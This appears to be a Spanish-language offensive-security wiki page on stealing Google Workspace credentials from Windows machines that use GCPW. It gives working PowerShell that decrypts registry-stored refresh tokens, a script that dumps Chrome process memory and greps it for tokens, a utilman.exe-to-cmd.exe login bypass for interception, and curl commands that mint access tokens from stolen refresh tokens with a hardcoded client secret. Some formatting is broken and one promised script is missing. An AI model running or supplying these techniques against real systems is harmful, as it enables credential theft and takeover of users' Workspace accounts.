GCPW - Google Credential Provider for Windows

Support HackTricks

Información Básica

Este es el inicio de sesión único que Google Workspaces proporciona para que los usuarios puedan iniciar sesión en sus PC con Windows utilizando sus credenciales de Workspace. Además, esto almacenará tokens para acceder a Google Workspace en algunos lugares de la PC.

Note that Winpeas is capable to detect GCPW, get information about the configuration and even tokens.

GCPW - MitM

Cuando un usuario accede a una PC con Windows sincronizada con Google Workspace a través de GCPW, necesitará completar un formulario de inicio de sesión común. Este formulario de inicio de sesión devolverá un código OAuth que la PC intercambiará por el token de actualización en una solicitud como:

POST /oauth2/v4/token HTTP/2
Host: www.googleapis.com
Content-Length: 311
Content-Type: application/x-www-form-urlencoded
[...headers...]

scope=https://www.google.com/accounts/OAuthLogin
&grant_type=authorization_code
&client_id=77185425430.apps.googleusercontent.com
&client_secret=OTJgUOQcT7lO7GsGZq2G4IlT
&code=4/0AVG7fiQ1NKncRzNrrGjY5S02wBWBJxV9kUNSKvB1EnJDCWyDmfZvelqKp0zx8jRGmR7LUw
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
&device_type=chrome

Se han añadido nuevas líneas para hacerlo más legible.

Fue posible realizar un MitM instalando Proxifier en el PC, sobrescribiendo el binario utilman.exe con un cmd.exe y ejecutando las funciones de accesibilidad en la página de inicio de sesión de Windows, lo que ejecutará un CMD desde el cual puedes iniciar y configurar el Proxifier. No olvides bloquear el tráfico QUICK UDP en Proxifier para que se degrade a comunicación TCP y puedas verlo.

También configura en "Servicios y otros usuarios" ambas opciones e instala el certificado CA de Burp en Windows.

Además, añadiendo las claves enable_verbose_logging = 1 y log_file_path = C:\Public\gcpw.log en HKLM:\SOFTWARE\Google\GCPW es posible hacer que almacene algunos registros.

GCPW - Huella digital

Es posible verificar si GCPW está instalado en un dispositivo comprobando si existe el siguiente proceso o si existen las siguientes claves de registro:

# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
Write-Output "The process gcpw_xtension.exe is running."
} else {
Write-Output "The process gcpw_xtension.exe is not running."
}

# Check if HKLM\SOFTWARE\Google\GCPW\Users exists
$gcpwHKLMPath = "HKLM:\SOFTWARE\Google\GCPW\Users"
if (Test-Path $gcpwHKLMPath) {
Write-Output "GCPW is installed: The key $gcpwHKLMPath exists."
} else {
Write-Output "GCPW is not installed: The key $gcpwHKLMPath does not exist."
}

# Check if HKCU\SOFTWARE\Google\Accounts exists
$gcpwHKCUPath = "HKCU:\SOFTWARE\Google\Accounts"
if (Test-Path $gcpwHKCUPath) {
Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists."
} else {
Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
}

En HKCU:\SOFTWARE\Google\Accounts es posible acceder al correo electrónico del usuario y al refresh token encriptado si el usuario ha iniciado sesión recientemente.

En HKLM:\SOFTWARE\Google\GCPW\Users es posible encontrar los domains que están permitidos para iniciar sesión en la clave domains_allowed y en subclaves es posible encontrar información sobre el usuario como correo electrónico, foto, nombre de usuario, duraciones de token, manejador de token...

El manejador de token es un token que comienza con eth. y del cual se puede extraer información con una solicitud como:

curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
-d 'token_handle=eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg'
# Example response
{
"audience": "77185425430.apps.googleusercontent.com",
"scope": "https://www.google.com/accounts/OAuthLogin",
"expires_in": 12880152
}

También es posible encontrar el identificador del token de un token de acceso con una solicitud como:

curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
-d 'access_token=<access token>'
# Example response
{
"issued_to": "77185425430.apps.googleusercontent.com",
"audience": "77185425430.apps.googleusercontent.com",
"scope": "https://www.google.com/accounts/OAuthLogin",
"expires_in": 1327,
"access_type": "offline",
"token_handle": "eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg"
}

Afaik no es posible obtener un token de actualización o un token de acceso a partir del identificador del token.

Además, el archivo C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse es un json que contiene la información de diferentes configuraciones como enableDmEnrollment, enableGcpAutoUpdate, enableMultiUserLogin (si varios usuarios de Workspace pueden iniciar sesión en la computadora) y validityPeriodDays (número de días que un usuario no necesita volver a autenticarse directamente con Google).

GCPW - Obtener Tokens

GCPW - Tokens de Actualización del Registro

Dentro del registro HKCU:\SOFTWARE\Google\Accounts podría ser posible encontrar algunas cuentas con el refresh_token cifrado dentro. El método ProtectedData.Unprotect puede descifrarlo fácilmente.

Obtener HKCU:\SOFTWARE\Google\Accounts datos y descifrar refresh_tokens

```powershell # Import required namespace for decryption Add-Type -AssemblyName System.Security

Base registry path

$baseKey = "HKCU:\SOFTWARE\Google\Accounts"

Function to search and decrypt refresh_token values

function Get-RegistryKeysAndDecryptTokens { param ( [string]$keyPath )

Get all values within the current key

$registryKey = Get-Item -Path $keyPath $foundToken = $false

Loop through properties to find refresh_token

foreach ($property in $registryKey.Property) { if ($property -eq "refresh_token") { $foundToken = $true try {

Get the raw bytes of the refresh_token from the registry

$encryptedTokenBytes = (Get-ItemProperty -Path $keyPath -Name $property).$property

Decrypt the bytes using ProtectedData.Unprotect

$decryptedTokenBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedTokenBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) $decryptedToken = [System.Text.Encoding]::UTF8.GetString($decryptedTokenBytes)

Write-Output "Path: $keyPath" Write-Output "Decrypted refresh_token: $decryptedToken" Write-Output "-----------------------------" } catch { Write-Output "Path: $keyPath" Write-Output "Failed to decrypt refresh_token: $($_.Exception.Message)" Write-Output "-----------------------------" } } }

Recursively process all subkeys

Get-ChildItem -Path $keyPath | ForEach-Object { Get-RegistryKeysAndDecryptTokens -keyPath $_.PSPath } }

Start the search from the base key

Get-RegistryKeysAndDecryptTokens -keyPath $baseKey

</details>

Ejemplo de salida:

<div data-gb-custom-block data-tag="code" data-overflow='wrap'>

Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI


</div>

Como se explica en [**este video**](https://www.youtube.com/watch?v=FEQxHRRP\_5I), si no encuentras el token en el registro, es posible modificar el valor (o eliminarlo) de **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** y la próxima vez que el usuario acceda a la computadora, necesitará iniciar sesión nuevamente y el **token se almacenará en el registro anterior**.

### GCPW - Tokens de actualización de disco

El archivo **`%LocalAppData%\Google\Chrome\User Data\Local State`** almacena la clave para descifrar los **`refresh_tokens`** ubicados dentro de los **perfiles de Google Chrome** del usuario como:

* `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
* `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`

Es posible encontrar algún **código en C#** que accede a estos tokens de manera descifrada en [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe).

Además, la encriptación se puede encontrar en este código: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216)

Se puede observar que se utiliza AESGCM, el token encriptado comienza con una **versión** (**`v10`** en este momento), luego tiene [**12B de nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L42), y luego tiene el **texto cifrado** con un **mac final de 16B**.

### GCPW - Extracción de tokens de la memoria de procesos

El siguiente script se puede usar para **extraer** cada **proceso de Chrome** usando `procdump`, extraer las **cadenas** y luego **buscar** cadenas relacionadas con **tokens de acceso y actualización**. Si Chrome está conectado a algún sitio de Google, ¡algún **proceso estará almacenando tokens de actualización y/o acceso en la memoria!**

<details>

<summary>Extraer procesos de Chrome y buscar tokens</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"

# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)

# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}

# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id

# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}

# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText   = $matchInfo.Line.Trim()
FilePath   = $matchInfo.Path
}
}
}
}

foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}

Write-Output ""
}
}

Remove-Item -Path $dumpFolder -Recurse -Force

Intenté lo mismo con gcpw_extension.exe, pero no encontró ningún token.

Por alguna razón, algunos tokens de acceso extraídos no serán válidos (aunque algunos sí lo serán). Intenté el siguiente script para eliminar caracteres uno por uno para intentar obtener el token válido del volcado. Nunca me ayudó a encontrar uno válido, pero podría, supongo:

Verificar token de acceso eliminando caracteres uno por uno

```bash #!/bin/bash

Define the initial access token

access_token="ya29.a0AcM612wWX6Pe3Pc6ApZYknGs5n66W1Hr1CQvF_L_pIm3uZaXWisWFabzxheYCHErRn28l2UOJuAbMzfn1TUpSKqvYvlhXJpxQsKEtwhYXzN2BZdOQNji0EXfF7po1_0WaxhwqOiE0CFQciiL8uAmkRsoXhq9ekC_S8xLrODZ2yKdDR6gSFULWaiIG-bOCFx3DkbOdbjAk-U4aN1WbglUAJdLZh7DMzSucIIZwKWvBxqqajSAjrdW0mRNVN2IfkcVLPndwj7fQJV2bQaCgYKAbQSAQ4SFQHGX2MiPuU1D-9-YHVzaFlUo_RwXA0277"

Define the URL for the request

url="https://www.googleapis.com/oauth2/v1/tokeninfo"

Loop until the token is 20 characters or the response doesn't contain "error_description"

while [ ${#access_token} -gt 20 ]; do

Make the request and capture the response

response=$(curl -s -H "Content-Type: application/x-www-form-urlencoded" -d "access_token=$access_token" $url)

Check if the response contains "error_description"

if [[ ! "$response" =~ "error_description" ]]; then echo "Success: Token is valid" echo "Final token: $access_token" echo "Response: $response" exit 0 fi

Remove the last character from the token

access_token=${access_token:0:-1}

echo "Token length: ${#access_token}" done

echo "Error: Token invalid or too short"

</details>

### GCPW - Generando tokens de acceso a partir de tokens de actualización

Usando el token de actualización, es posible generar tokens de acceso utilizando este y el ID de cliente y secreto de cliente especificados en el siguiente comando:
```bash
curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token

GCPW - Scopes

Tenga en cuenta que incluso teniendo un token de actualización, no es posible solicitar ningún alcance para el token de acceso, ya que solo puede solicitar los alcances admitidos por la aplicación donde está generando el token de acceso.

Además, el token de actualización no es válido en todas las aplicaciones.

Por defecto, GCPW no tendrá acceso como el usuario a todos los posibles alcances de OAuth, por lo que utilizando el siguiente script podemos encontrar los alcances que se pueden usar con el refresh_token para generar un access_token:

Last updated